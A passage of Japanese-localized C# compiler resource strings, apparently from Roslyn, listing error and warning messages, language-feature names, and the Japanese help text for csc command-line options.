'{0}' が複数回指定されました + 型 '{1}' のプロパティ '{0}' のメンバーは、値の型であるため、オブジェクト初期化子と共に割り当てることはできません + collection expressions + '{0}': 構造体は、基底クラスのコンストラクターを呼び出すことができません + 型は、コレクション パターンを実装しません。メンバーがあいまいです + stackalloc は catch または finally ブロックで使用されない可能性があります + 文字列リテラルが必要でしたが、始まりの引用符が見つかりませんでした。 + '{0}' を extern にして、本体を宣言することはできません + <switch 式> + 無効なプリプロセッサの式です + キーワード 'this' は現在のコンテキストでは使用できません + ラムダ戻り値の型 + SyntaxTree は #load ディレクティブから発生しているため、直接的に削除または置換できません。 + 認識できない #pragma ディレクティブです + 匿名型では、同じ名前を持つ複数のプロパティを含むことはできません + 型パラメーター '{1}' は 'unmanaged' 制約を含むので、'{0}' の制約として '{1}' を使用することはできません + 名前 '{0}' が、メタデータで許可されている最大文字数を超えています。 + using static' ディレクティブはエイリアスの宣言には使用できません + 同じ変数に代入られました。他の変数に代入しますか? + イベントは使用されていません + グローバル名前空間でインターセプターを宣言することはできません。 + '{0}' は '{1}' の適切なパブリック インスタンスまたは拡張機能の定義を含んでいないため、型 '{0}' の変数に対して非同期 foreach ステートメントを使用することはできません + イベント '{0}' は += または -= の左側にのみ使用できます + 既定のパラメーター値がターゲット デリゲート型と一致しません。 + インクルード タグが無効です + 関数ポインター + アセンブリ '{1}' にある '{0}' の型フォワーダーで循環が発生します + 型 '{0}' は既に '{1}' の定義を含んでいます + 省略可能な引数を使用する呼び出しを式ツリーに含めることはできません + 演算子 '{0}' はオペランド '{1}' に適用できません + メタデータ ファイル '{0}' を開けませんでした -- {1} + 型 '{0}' の null と比較すると、いつも 'false' を生成します + 属性ターゲット指定子としてのモジュール + 再帰的パターン + この警告は、2 つのインターフェイス メソッドが、特定のパラメーターが ref または out に設定されているかどうかのみで区別されている場合に生成されます。この警告を回避するには、コードを変更することが最善です。これは、実行時にどのメソッドが呼び出されるかが明確でないか、保証されていないためです。 + +C# では out と ref を区別しますが、CLR では同じと認識します。インターフェイスを実装するメソッドを決定する際、CLR がどちらか 1 つを選択します。 + +コンパイラにメソッドを区別する方法を与えます。たとえば、メソッドに異なる名前を付けたり、1 つのメソッドに追加のパラメーターを設けるなどです。 + #r をファイルの最初のトークンの後に使用することはできません + '{0}' は、インスタンス インターフェイス メンバー '{1}' を実装していません。'{2}' は静的であるため、インターフェイス メンバーを実装できません。 + '{0}' はインターフェイスメンバー '{1}' を実装しません。'{2}' は、C# {3} でパブリックでないメンバーを暗黙的に実装することはできません。'{4}' 以上の言語バージョンを使用してください。 + これは、参照返し '{0}' でパラメーターを返しますが、ref パラメーターではありません + 値を使用して参照渡し変数を初期化することはできません + 名前付き引数 + 戻り値の型には '{0}' 修飾子を 1 つだけ指定できます。 + 定義済みの型 '{0}' は、グローバル エイリアスの複数のアセンブリ内で定義されています。'{1}' からの定義を使用してください + 式ツリーのラムダには、参照渡しで返すメソッド、プロパティ、インデクサーの呼び出しを含めることができません + 自動既定の構造体フィールド + 部分メソッドに 'abstract' 修飾子を指定することはできません + '{0}' は既に型 '{1}' のインターフェイス リストに存在しますが、参照型の Null 許容性が異なっています。 + 属性と属性値の間に等号がありません。 + 推定デリゲート型が変更されたため、更新できません。 + '{0}' 要素のタプルを '{1}' 変数に分解することはできません。 + '{0}' は継承抽象メンバー '{1}' を実装しません + 複数のアナライザー構成ファイルを同じディレクトリに入れることはできません ('{0}')。 + 'Inline arrays' 言語機能は、要素フィールドが 'ref' フィールドであるか、型引数として無効な型を持つインライン配列型ではサポートされていません。 + '{0}' を sealed にすることはできません。これが含まれているレコードが sealed ではないためです。 + 変数型 '{0}' のインスタンスは、new() 制約を含まないため、作成できません + 初期化子が直接的または間接的に定義を参照しているため、'{0}' の型を推論することはできません。 + '{0}': ターゲットのランタイムはオーバーライドで covariant 型をサポートしていません。型は、オーバーライドされるメンバー '{1}' と一致する '{2}' にする必要があります + #load は、スクリプト内でのみ許可されています + 名前のない配列型のみが異なるオーバーロードされたメソッド '{0}' は、CLS に準拠していません + パラメーターの参照の種類修飾子が、オーバーライドされたメンバーまたは実装されたメンバーの対応するパラメーターと一致しません。 + この参照により、ターゲットよりも広い値エスケープ スコープを持つ値が割り当てられ、より狭いエスケープ スコープを持つ値のターゲットを介して割り当てることができます。 + フィールドに類似したイベント '{0}' を 'readonly' にすることはできません。 + 属性引数は、定数式、typeof 式、または属性パラメーター型の配列の作成式でなければなりません + 読み取り専用の構造体 + <スロー式> + partial 型 + 指定された式は指定されたパターンと絶対に一致しません。 + ジェネリック パラメーターは、参照 {0} である必要がある場合に定義されます + An expression tree may not contain a collection expression. + パラメーター '{0}' が null 以外であるため、戻り値は null 以外でなければなりません。 + 左辺値としての構文 'var (...)' は予約されています。 + '{0}' は、'{1}' からの想定されるメソッドをオーバーライドしていません。 + 構造体メンバーは 'this' または他のインスタンス メンバーを参照渡しで返します + 応答ファイルで指定されているため、/noconfig オプションを無視します + '{0}' は、静的インターフェイス メンバー '{1}' を実装していません。'{2}' は静的ではないため、インターフェイス メンバーを実装できません。 + '{0}': プロパティまたはインデクサーに void 型を指定することはできません + '{0}': 継承されたメンバー '{1}' はシールされているため、オーバーライドできません + 反復子には ref、in、out パラメーターを指定できません + インデックス付きプロパティ '{0}' では、すべての引数が省略可能である必要があります + コントロールを呼び出し元に返す前に、フィールド '{0}' を完全に割り当てる必要があります。プロパティを自動既定値にするため '{1}' 言語バージョンに更新することを検討してください。 + 部分メソッドの両方の宣言には、同じ戻り値の型を指定しなければなりません。 + ラムダ パラメーターの使用方法に一貫性がありません。パラメーター型はすべて明示的であるか、またはすべて暗黙的である必要があります + アナライザーのアセンブリを読み込むことができません + 暗黙的に型指定された破棄の型を推論できません。 + インターフェイス リストの型 '{0}' はインターフェイスではありません + インターセプター可能なメソッドとインターセプター メソッドの署名が一致しません。 + 予期しないキーワード 'record' です。'record struct' または 'record class' のつもりでしたか? + 要素 + 'parameter null-checking' 機能はサポートされていません。 + __arglist パラメーターは、パラメーター リストの最後のパラメーターでなければなりません + {0} は有効な C# の複合代入操作ではありません + 式のツリーは、'is' パターン マッチング演算子を含むことはできません。 + 'in' または 'ref readonly' パラメーターがあるため、属性のコンストラクター '{0}' を使用できません。 + ref foreach 繰り返し変数 + '{2}' から '{3}' へ変換するときの、あいまいなユーザー定義の変換 '{0}' および '{1}' です + 相互運用型 '{0}' を埋め込むことができません。該当するインターフェイスを使用してください。 + 式は参照渡しで割り当てられるため、型 '{0}' でなければなりません + アセンブリに、アナライザーが含まれていません + 関数ポインター '{1}' に一致する '{0}' のオーバーロードはありません + 負のインデックスで配列をインデックス付けしています + 参照渡しで返すプロパティは set アクセサーを持つことができません + コマンドラインの構文エラー: オプション '{0}' の ':<number>' がありません + 型 '{0}' への参照では、'{1}' で定義されていると指定されていますが、見つかりませんでした + using または lock ステートメントの引数であるローカルの '{0}' への代入が間違っている可能性があります。Dispose の呼び出しまたはロック解除がローカルの元の値で実行されます。 + {0} 要素でのタプルを型 '{1}' に変換できません。 + 属性値に文字 '<' は使用できません。 + これは、マネージ型 ('{0}') のアドレスの取得、サイズの取得、またはそのマネージ型へのポインターの宣言を行います + レコード内のコピー コンストラクターは、ベースのコピー コンストラクターまたはパラメーターなしのオブジェクト コンストラクター (レコードがオブジェクトから継承している場合) を呼び出す必要があります。 + 無効な #pragma checksum 構文です。有効な #pragma checksum は、"filename" "{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}" "XXXX..." です + 不変 + '{0}' は、評価の目的でのみ提供されています。将来の更新で変更または削除されることがあります。続行するには、この診断を非表示にします。 + 場所が全スパン {0} の構文ツリー内にありません + コンパイラで必要とされる型 '{0}' が見つからないため、新しい拡張メソッドを定義できません。System.Core.dll への参照が指定されていることを確認してください。 + 戻り値の型における参照型の Null 値の許容が、部分メソッド宣言と一致しません。 + short circuit 演算子として適用するためには、ユーザー定義の論理演算子 ('{0}') が同じ戻り値の型とパラメーター型を持つ必要があります + 同じ変数と比較されました。他の変数と比較しますか? + 補間における改行 + 'scoped' 修飾子を discard と共に使用することはできません。 + 大文字、小文字の違いのみの識別子は CLS に準拠していません + パラメーター {0} にラムダの params 修飾子がありますが、ターゲット デリゲート型にはありません。 + 実数値リテラルが正しくありません。 + 既に fixed が使用されている式のアドレスを取得するために、fixed ステートメントを使用することはできません + '{0}' は CLS 準拠型のみを使用するコンストラクターにアクセスできません + 10 進数の定数式の評価に失敗しました + '{1}' で終了する場合、パラメーター '{0}' には null 以外の値が含まれている必要があります。 + リスト パターン + ラベル '{0}' が重複しています + 読み取り専用フィールドに割り当てることはできません (フィールドが定義されている型のコンストラクターか init 専用セッター、または変数初期化子では可) + null 非許容の {0} '{1}' には、コンストラクターの終了時に null 以外の値が入っていなければなりません。{0} を Null 許容として宣言することをご検討ください。 + using エイリアス '{0}' は以前にこの名前空間で使用されています + 引数 {0} はキーワード '{1}' と共に渡す必要があります + インスタンス メンバー内に ref に似た型を持つプライマリ コンストラクター パラメーター '{0}' を使用することはできません + パラメーター '{0}' に適用された CallerArgumentExpressionAttribute は、CallerMemberNameAttribute によってオーバーライドされるため無効となります。 + 戻り値の型における参照型の Null 値の許容が、部分メソッド宣言と一致しません。 + 名前付き属性の引数 '{0}' の値が無効です + 型パラメーター '{1}' に対する制約 '{0}' が重複しています + 型 '{1}' の読み取り専用フィールド '{0}' のメンバーは、値の型であるため、オブジェクト初期化子と共に割り当てることはできません + 読み取り専用の構造体では、フィールドに類似したイベントを使用することができません。 + タプル要素名 '{0}' は、タプルの == または != 演算子の反対側に異なる名前が指定されたか名前が指定されていないため、無視されます。 + async' 修飾子は、本体があるメソッドでのみ使用できます。 + switch 式が一部の null 入力を処理しません。 + '{0}' の partial 宣言では、異なる基底クラスを指定してはいけません + '{0}' はアクセスできない保護レベルになっています + このコンテキストでは抑制演算子が許可されていません + 継承したメンバー '{0}' と '{1}' に '{2}' 型の同じ署名があるためオーバーライドできません + インデクサー アクセスは動的ディスパッチされる必要がありますが、ベース アクセス式の一部であるためディスパッチできません。動的引数のキャストまたはベース アクセスの削除を検討してください。 + '{0}' には、'{1}'という名前の該当するメソッドがありませんが、同じ名前の拡張メソッドがあるようです。拡張メソッドは動的ディスパッチできません。動的引数をキャストするか、または拡張メソッド構文を使用しないで拡張メソッドを呼び出すことを検討してください。 + '{0}': 抽象プロパティにプライベート アクセサーは指定できません + 'is' 式の指定された式は指定された型ではありません + インライン配列インデクサーは要素アクセス式には使用されません。 + ターゲット ランタイムでは、インターフェイスの静的な抽象メンバーをサポートしていません。 + 指定したバージョン文字列 '{0}' は、必要な形式 (major.minor.build.revision、ワイルドカードなし) に従っていません。 + プロパティでは 'System.Runtime.CompilerServices.FixedBuffer' 属性を使用しないでください + Win32 マニフェスト ファイル {0} を開く際にエラーが発生しました -- {1} + UnscopedRefAttribute は構造体インスタンスのメソッドとプロパティにのみ適用でき、コンストラクターまたは init のみのメンバーには適用できません。 + '{0}' は sealed 型 '{1}' の新しい仮想メンバーです + パラメーターの型における参照型の Null 許容性が、部分メソッド宣言と一致しません。 + 式ツリーにインデックス付きプロパティを含めることはできません + 無効な #pragma チェックサム構文です + 生文字列リテラルの先頭に十分な数の引用符文字がないため、連続した引用符文字をコンテンツとして使用できません。 + LookupOptions に無効な組み合わせのオプションがあります + 長さが '{0}' の配列初期化子が必要です + 読み取り専用フィールドを書き込み可能な参照渡しで返すことはできません + 拡張可能な fixed ステートメント + 式ツリーに、from-end インデックス ('^') 式を含めることはできません。 + インライン配列 + C# 6 以前のものにおいて、switch 式または case ラベルには、bool、char、string、integral、enum、または対応する null 許容型を使用する必要があります。 + 提供される型の修飾子を最小にするため、場所を提供する必要があります。 + 追加されたモジュールは、アセンブリに一致するように CLSCompliant 属性と共に設定されなければなりません + 型 '{2}' は、ジェネリック型のパラメーター '{1}'、またはメソッド '{0}' として使用するために、参照型でなければなりません + 送信にはスクリプト コードのみを含めることができます。 + レコードでは 'Equals' が定義されていますが、'GetHashCode' は定義されていません。 + '{0}': '{1}' に、オーバーライド可能な get アクセサーがないため、オーバーライドできません + 前の catch 句は、すべての例外を既にキャッチしています + 移動可能な固定バッファーのインデックス化 + '{0}' はテキスト ファイルではなくバイナリ ファイルです + 自動プロパティ上でフィールドをターゲットとする属性を使用することは、このバージョンの言語ではサポートされていません。 + switch 式は値である必要があります。'{0}' が見つかりました。 + '{0}' を匿名型のプロパティに割り当てることはできません + 割り当てられていない可能性のある自動実装プロパティの使用 + ファイル '{0}' を開いて書き込むことができません -- '{1}' + ユーザー定義演算子 '{0}' の明示的な実装は静的として宣言する必要があります + empty ステートメントが間違っている可能性があります + メソッド '{0}' は実装宣言がない部分メソッドであるため、このメソッドからデリゲートを作成できません + object.Finalize をオーバーライドしないでください。代わりにデストラクターを提供してください。 + 式本体のコンストラクターとデストラクター + リレーショナル パターン + 戻り値の型における参照型の Null 許容性が、オーバーライドされるメンバーと一致しません。 + 引用符付きのファイル名、単一行コメント、または行末が必要です + '{1}' で終了する場合、メンバー '{0}' には null 以外の値が含まれている必要があります。 + XML コメントに型パラメーターを参照する cref 属性 '{0}' が指定されています + デリゲート '{0}' には有効なコンストラクターがありません + ref 読み取り専用パラメーター + 分解は少なくとも 2 つの変数を含む必要があります。 + 値の型 '{1}' で定義された拡張メソッド '{0}' は、デリゲートを作成するために使用できません + アクセシビリティに一貫性がありません。基底クラス '{1}' のアクセシビリティはクラス '{0}' よりも低く設定されています + goto は switch ステートメント内でのみ有効です + これは、ref パラメーター経由でパラメーター '{0}' のメンバーを参照渡しで返しますが、安全に返すことができるのは return ステートメント内のみです + クラス System.Object は基底クラスを含んだり、インターフェイスを実装したりできません。 + 割り当てられていないローカル変数の使用 + 静的な匿名関数に 'this' または 'base' への参照を含めることはできません。 + '{0}': '{1}' の継承メンバー '{2}' をオーバーライドするときに、アクセス修飾子を変更できません + インデクサーに void 型を指定できません + アクセシビリティに一貫性がありません。パラメーター型 '{1}' のアクセシビリティは演算子 '{0}' よりも低く設定されています + '{0}' は、オーバーライドされたメンバー '{1}' と同じく、初期化専用である必要があります + const フィールドに値を指定する必要があります + 警告 'CS{0}' はグローバルで無効にされたため、復元することはできません + Finalize' メソッドを導入すると、デストラクターの呼び出しに影響する可能性があります。デストラクターを宣言しようとしましたか? + '{0}' のメンバーは参照渡しで返されますが、参照渡しで返せない値に初期化されました + 戻り値の型の NULL 値の許容が、オーバーライドされたメンバーと一致しません。おそらく、NULL 値の許容の属性が原因です。 + 型およびエイリアスに 'record' という名前を指定することはできません。 + '{0}' は参照渡しで返すため、'{0}' の本文を反復子ブロックにすることはできません + 角かっこ [] 内のインデックス数が正しくありません。正しい数は {0} です + 遅延署名が指定されたため、公開キーが必要ですが、公開キーが指定されませんでした + [DoesNotReturn] とマークされたメソッドを返すことはできません。 + '{0}' は無効です + '{0}' アクセサーのアクセシビリティ修飾子は、プロパティまたはインデクサー '{1}' よりも制限されていなければなりません + CallerFilePathAttribute は、既定値を含むパラメーターにのみ適用できます + '{0}' オプションのファイルが指定されていません + 部分メソッドの宣言には、一致する ref 戻り値が必要です。 + ファイル名は引用符で囲まれている必要があります + 型 '{0}' で重複するユーザー定義の変換です + byte、sbyte、short、ushort、int、uint、long または ulong のいずれかの型を使用してください + フィールド '{0}' が明示的に割り当てられる前に自動実装プロパティが呼び出し元に返され、先行する暗黙的な代入が 'default' になります。 + ジェネリック名の予期しない使用方法です + 'アセンブリには属性 CLSCompliant がないため、'{0}' に属性 CLSCompliant は不要です + インターフェイス '{1}' のマネージ コクラス ラッパー クラス '{0}' は、有効なクラス名シグネチャではありません + 型 '{1}' が '{0}' と '{2}' の両方に存在します + 型 '{0}' は、メタデータで表現できないため、このコンテキストでは使用できません。 + '{1}' 内のパラメーター '{0}' に Null 参照引数がある可能性があります。 + 型がインポートされた型と競合しています + 型 '{0}' の定数値が必要です + 非ジェネリック型から、構築済みジェネリック型を作成できません。 + 文字 '{0}' は、補間された文字列内で '{0}{0}' を二重にすることでのみエスケープできます。 + 無効な XML のインクルード要素です + Null 参照戻り値である可能性があります。 + この警告は、シグネチャが public virtual void Finalize であるメソッドを持つクラスを作成したときに発生します。 + +このようなクラスが基本クラスとして使用され、派生クラスがデストラクターを定義している場合、デストラクターは Finalize ではなく、基本クラスの Finalize メソッドをオーバーライドします。 + "無効な次元指定子です: ']' を指定してください + stackalloc 初期化子 + System.Runtime.CompilerServices.FixedBuffer' 属性を使用しないでください。'fixed' フィールド修飾子を使用してください。 + null はこのコンテキストでは使用できません + これは、ref パラメーター経由でパラメーターのメンバーを参照渡しで返しますが、安全に返すことができるのは return ステートメント内のみです + レコード メンバー '{0}' は private でなければなりません。 + グローバル using ディレクティブ + 名前空間エイリアス修飾子 '::' は、常に型または名前空間を解決するので、ここでは無効です。'.' を使用してください。 + インターフェイスで宣言された変換演算子、等値演算子、または非等値演算子は abstract または virtual である必要があります + 型パラメーター '{0}' にはクラス型制約も 'class' 制約も含まれないため、'as' 演算子で使用できません + ファイル ローカル型 '{0}' は、一意のパスを持つファイル内で宣言する必要があります。パス '{1}'は複数のファイルで使用されます。 + キーワード 'base' は静的メソッドでは使用できません + 'インターセプター' の実験的な機能は、この名前空間では有効になっていません。プロジェクトに '{0}' を追加します。 + メンバー '{0}' はフィールドまたはプロパティではないため、初期化することはできません。 + '{0}' と '{1}' 間があいまいです + ローカル関数は宣言されていますが、一度も使用されていません + コマンドラインの構文エラー: オプション '{1}' の GUID がありません + 'UnmanagedCallersOnly' という属性を持つメソッドでは、'{0}' を{1}の型として使用することはできません。 + 参照アセンブリ '{0}' は、異なるプロセッサをターゲットにしています。 + {0} を暗黙的に型指定された変数に割り当てることはできません + 出力ファイルの書き込み中にエラーが発生しました: {0}。 + '{0}': 静的コンストラクターは、明示的な 'this' または 'base' コンストラクターの呼び出しを含むことはできません + LIB 環境変数 + モジュール初期化子メソッド '{0}' はモジュール レベルでアクセス可能である必要があります + '{2}' は Windows ランタイム イベントで、'{3}' は通常の .NET イベントであるため、'{0}' は '{1}' を実装できません。 + '{0}' は古い形式です + '{0}' は型 '{1}' です。定数宣言で指定される型は sbyte、byte、short、ushort、int、uint、long、ulong、char、float、double、decimal、bool、string、列挙型、または参照型でなければなりません。 + 指定したバージョン文字列は、推奨される形式 (major.minor.build.revision) に従っていません + インターフェイス内のユーザー定義の変換では、それを囲む型に制約されたそれを囲む型の型パラメーターとの間で変換する必要があります + パラメーター '{0}' には '{1}' の XML コメント内に対応する param タグがありませんが、他のパラメーターにはあります + インデックス付きプロパティ '{0}' には、省略できない引数を指定する必要があります + 型 '{0}' を型 '{1}' の AsyncMethodBuilder として使うには、その Task プロパティが型 '{2}' ではなく型 '{1}' を返す必要があります。 + '{0}': フィールドに volatile と readonly の両方を指定することはできません + レコードから継承できるのはレコードだけです。 + 生文字列リテラルが終了していません。 + ラムダ式での属性には、かっこで囲まれたパラメーター リストが必要です。 + スタティック型をパラメーターとして使用することはできない + #endregion ディレクティブが必要です + <missing> + 補間された生文字列リテラルの先頭に十分な数の '$' 文字がないため、連続した始め波かっこをコンテンツとして使用できません。 + 型における参照型の Null 許容性が、暗黙的に実装されるメンバーと一致しません。 + パラメーター名 '{0}' が自動生成されたパラメーター名と競合しています + 型パラメーターは、メソッド グループで 'nameof' への引数として使用できません。 + アクセシビリティに一貫性がありません。パラメーター型 '{1}' のアクセシビリティはデリゲート '{0}' よりも低く設定されています + using エイリアスを 'ref' 型にすることはできません。 + 前の catch 句は、すべての例外を既にキャッチしています。スローされる例外以外のものはすべて System.Runtime.CompilerServices.RuntimeWrappedException にラップされます。 + 含められている XML のいくつか、またはすべてを挿入できませんでした + '{0}' を待機することができません + 'default' 制約は、オーバーライドおよび明示的なインターフェイスの実装メソッドでのみ有効です。 + パラメーター + 定数値が必要です + ジェネレーター '{0}' でソースを生成できませんでした。出力には寄与しません。結果として、コンパイル エラーが発生する可能性があります。例外の型: '{1}'。メッセージ: '{2}'。 +{3} + 型パラメーター '{0}' は、外の型からの型パラメーター '{1}' と同じ名前です + 型 double のリテラルを暗黙的に型 '{1}' に変換することはできません。'{0}' サフィックスを使用して、この型のリテラルを作成してください + There is no target type for the collection expression. + 'not' または 'or' パターンの中で変数を宣言することはできません。 + + Visual C# Compiler のオプション + + - 出力ファイル - +-out:<file> 出力ファイル名を指定します (既定値: main クラスを含むファイルの + ベース名また最初のファイル) +-target:exe コンソール アプリケーションをビルドします (既定) (短い + 形式: -t:exe) +-target:winexe Windows 実行可能ファイルをビルドします (短い形式: + -t:winexe) +-target:library ライブラリをビルドします (短い形式: -t:library) +-target:module 別のアセンブリに追加できるモジュールを + ビルドします (短い形式: -t:module) +-target:appcontainerexe Appcontainer 実行可能ファイルをビルドします (短い形式: + -t:appcontainerexe) +-target:winmdobj WinMDExp が使用する、Windows ランタイムの + 中間ファイルをビルドします (短い形式: -t:winmdobj) +-doc:<file> 生成する XML ドキュメント ファイルです +-refout:<file> 生成する参照アセンブリ出力です +-platform:<string> このコードを実行できるプラットフォームを限定します。x86、 + Itanium、x64、arm、arm64、anycpu32bitpreferred、 + anycpu のいずれかです。既定値は anycpu です。 + + - 入力ファイル - +-recurse:<wildcard> ワイルドカードの仕様に従って、 + 現在のディレクトリとサブディレクトリ内のすべてのファイルを + 含めます +-reference:<alias>=<file> 指定されたエイリアスを使用して、指定されたアセンブリ ファイルからの + メタデータを参照します (短い形式: -r) +-reference:<file list> 指定されたアセンブリ ファイルからのメタデータを + 参照します (短い形式: -r) +-addmodule:<file list> 指定されたモジュールをこのアセンブリにリンクします +-link:<file list> 指定された相互運用アセンブリからのメタデータを + 埋め込みます (短い形式: -l) +-analyzer:<file list> このアセンブリからアナライザーを実行します + (短い形式: -a) +-additionalfile:<file list> コードの生成に直接影響しないものの、エラーまたは警告を + 生成するためにアナライザーが使用する可能性がある + 追加ファイルです。 +-embed PDB ファイル内にすべてのソース ファイルを埋め込みます。 +-embed:<file list> PDB に特定のファイルを埋め込みます。 + + - リソース - +-win32res:<file> Win32 リソース ファイル (.res) を指定します +-win32icon:<file> 出力にこのアイコンを使用します +-win32manifest:<file> Win32 マニフェスト ファイル (.xml) を指定します +-nowin32manifest 既定の Win32 マニフェストを含めません +-resource:<resinfo> 指定されたリソースを埋め込みます (短い形式: -res) +-linkresource:<resinfo> このアセンブリに指定されたリソースをリンクします + (短い形式: -linkres) resinfo の形式: + <file>[,<string name>[,public|private]] + + - コード生成 - +-debug[+|-] デバッグ情報を出力します +-debug:{full|pdbonly|portable|embedded} + デバッグの種類を指定します ('full' は既定、 + 'portable' はクロスプラットフォーム形式、 + 'embedded' はターゲットの .dll または .exe に埋め込まれる + クロスプラットフォーム形式です) +-optimize[+|-] 最適化を有効にします (短い形式: -o) +-deterministic 決定論的アセンブリを生成します + (モジュール バージョン GUID とタイムスタンプを含む) +-refonly メイン出力の代わりに参照アセンブリを生成します +-instrument:TestCoverage カバレッジ情報を収集するようにインストルメント化されたアセンブリを + 生成します +-sourcelink:<file> PDB に埋め込むソース リンク情報。 + + - エラーと警告 - +-warnaserror[+|-] すべての警告をエラーとして報告します +-warnaserror[+|-]:<warn list> 特定の警告をエラーとして報告します + (すべての NULL 値の許容に関する警告に対して "nullable" を使用します) +-warn:<n> 警告レベル (0 以上) を設定します (短い形式: -w) +-nowarn:<warn list> 特定の警告メッセージを無効にします + (すべての NULL 値の許容に関する警告に対して "nullable" を使用します) +-ruleset:<file> 特定の診断を無効にするルールセット ファイルを + 指定します。 +-errorlog:<file>[,version=<sarif_version>] + すべてのコンパイラとアナライザーの診断をログに記録するファイルを + 指定します。 + sarif_version:{1|2|2.1} 既定値は 1 です。2 と 2.1 は + 両方とも SARIF バージョン 2.1.0 を意味します。 +-reportanalyzer 実行時間などの追加のアナライザー情報を + 報告します。 +-skipanalyzers[+|-] 診断アナライザーの実行をスキップします。 + + - 言語 - +-checked[+|-] オーバーフロー チェックを生成します +-unsafe[+|-] 'unsafe' コードの使用を許可します +-define:<symbol list> 条件付きコンパイル シンボルを定義します (短い + 形式: -d) +-langversion:? 言語バージョンに指定できる値を表示します +-langversion:<string> 次のような言語バージョンを指定します。 + 'latest' (マイナー バージョンを含む最新バージョン)、 + 'default' ('latest' と同じ)、 + 'latestmajor' (マイナー バージョンを含まない最新バージョン)、 + 'preview' (サポートされていないプレビューの機能を含む最新バージョン)、 + '6' や '7.1' などの特定のバージョン +-nullable[+|-] Null 許容コンテキスト オプションの有効または無効を指定します。 +-nullable:{enable|disable|warnings|annotations} + Null 許容コンテキスト オプションの enable|disable|warnings|annotations を指定します。 + + - セキュリティ - +-delaysign[+|-] 厳密な名前キーの公開部分のみを使用して + アセンブリに遅延署名します +-publicsign[+|-] 厳密な名前キーの公開部分のみを使用して + アセンブリに公開署名します +-keyfile:<file> 厳密な名前のキー ファイルを指定します +-keycontainer:<string> 厳密な名前のキー コンテナーを指定します +-highentropyva[+|-] 高エントロピ ASLR を有効にします + + - その他 - +@<file> その他のオプションを、応答ファイルから読み取ります +-help この使用法メッセージを表示します (短い形式: -?) +-nologo コンパイラの著作権メッセージを表示しません +-noconfig CSC.RSP ファイルを自動的に含めません +-parallel[+|-] 同時にビルドします。 +-version コンパイラのバージョン番号を表示して終了します。 + + - 詳細設定 - +-baseaddress:<address> ビルドするライブラリのベース アドレス +-checksumalgorithm:<alg> PDB に格納されているソース ファイル チェックサムを計算するための + アルゴリズムを指定します。サポートされている値: + SHA1 または SHA256 (既定値)。 +-codepage:<n> ソース ファイルを開くときに使用するコードページを + 指定します +-utf8output UTF-8 エンコードでコンパイラのメッセージを出力します +-main:<type> エントリ ポイントを含む型を指定します + (他のすべてのエントリ ポイントを無視します) (短い + 形式: -m) +-fullpaths コンパイラは完全修飾パスを生成します +-filealign:<n> 出力ファイルのセクションに使用する配置を + 指定します +-pathmap:<K1>=<V1>,<K2>=<V2>,... + コンパイラが出力するソース パス名のマッピングを + 指定します。 +-pdb:<file> デバッグ情報のファイル名を指定します (既定値: + 出力ファイル名と .pdb 拡張子) +-errorendlocation 各エラーの終了位置の出力行と + 出力列です +-preferreduilang 優先する出力言語名を指定します。 +-nosdkpath 標準ライブラリ アセンブリの既定の SDK パスの検索を無効にします。 +-nostdlib[+|-] 標準ライブラリ (mscorlib.dll) を参照しません +-subsystemversion:<string> このアセンブリのサブシステム バージョンを指定します +-lib:<file list> 参照を検索する追加のディレクトリを + 指定します +-errorreport:<string> 内部コンパイラ エラーを処理する方法を指定します。 + prompt、send、queue、none のいずれかです。既定値は + queue です。 +-appconfig:<file> アセンブリ バインド設定を含むアプリケーション + 構成ファイルを指定します +-moduleassemblyname:<string> このモジュールが属することになるアセンブリの + 名前です +-modulename:<string> ソース モジュールの名前を指定します +-generatedfilesout:<dir> コンパイル中に生成されたファイルを指定したディレクトリに + 配置します。 +-reportivts[+|-] すべての依存関係によってこのアセンブリに + 付与されたすべての IVT に関する情報を出力し、外部アセンブリの + アクセシビリティ エラーに、発生元のアセンブリに関する注釈をつけます。 + + 構文エラーです。値が必要です + 'override ではないため、'{0}' をシールすることはできません + #error: '{0}' + 範囲変数 '{0}' は既に宣言されています + 無効な署名公開キーが AssemblySignatureKeyAttribute で指定されました。 + ターゲット型 '{1}' によって異なる名前が指定されている、または名前が何も指定されていないため、タプル要素名 '{0}' は無視されます。 + この警告は、MarshalByRefObject から派生したクラスのメンバーにあるメソッド、プロパティ、またはインデクサーを呼び出し、かつメンバーが値の型である場合に発生します。MarshalByRefObject から継承するオブジェクトは、通常はアプリケーション ドメイン間の参照渡しによってマーシャリングされることになっています。コードがこのようなアプリケーション ドメイン間のオブジェクトの値の型のメンバーに直接アクセスすると、ランタイム例外が発生します。警告を解決するには、まずメンバーをローカル変数にコピーしてから、その変数でメソッドを呼び出します。 + '{1}' 内ではアクセスできないため、'{0}' を使用して呼び出しをインターセプトできません。 + 2 つのインデクサーの名前が違います。1 つの型の中のそれぞれのインデクサーの IndexerName 属性は、同じでなければなりません + パラメーターの参照の種類修飾子が、ターゲット内の対応するパラメーターと一致しません。 + 'await' では、'{1}.GetAwaiter()' の戻り値の型 '{0}' に適切な IsCompleted、OnCompleted、GetResult メンバーがあり、INotifyCompletion または ICriticalNotifyCompletion を実装する必要があります。 + '{0}' は、'{1}' と '{2}' 間のあいまいな参照です + パラメーター リストを使用して 'struct' で宣言されたコンストラクターには、プライマリ コンストラクターまたは明示的に宣言されたコンストラクターを呼び出す 'this' 初期化子が必要です。 + オプションは、ソース ファイルまたは追加されたモジュールで指定された属性をオーバーライドします + 型とエイリアスに 'required' という名前を付けることはできません。 + '{0}': 'readonly' は、プロパティまたはインデクサーが get および set の両方のアクセサーを含む場合にのみ、アクセサーで使用できます + '{0}' と '{1}' を含む、循環する基本データ型の依存関係です + 識別子または数値リテラルが必要です + 型 '{0}' を '{1}' に暗黙的に変換できません + null 参照の可能性があるものの逆参照です。 + XML フラグメントを含めることができません + これは、ローカル変数を参照渡しで返しますが、ref ローカル変数ではありません + '{0}': インターフェイスのインスタンス イベントは初期化子を持つことができません + '{0}' は 'UnmanagedCallersOnly' の有効な呼び出し規則の種類ではありません。 + コンストラクター '{0}' で、それ自体を呼び出すことはできません: + 補間された文字列の中で単一行コメントを使用することはできません。 + ローカル変数は参照渡しで返されますが、参照渡しで返せない値に初期化されました + '{0}' という名前のローカル変数または関数はこのスコープで既に定義されています + インターセプトできません。コンパイルにパス '{0}' のファイルが含まれていません。パス '{1}' を使うつもりでしたか? + 2 つのアセンブリはリリースまたはバージョン番号が異なります。統一するには、アプリケーションの .config ファイルにディレクティブを指定するとともに、アセンブリの厳密な名前を正しく付ける必要があります。 + 変数ではないため、'{0}' の戻り値を変更できません + '{0}': 基本型 '{1}' は 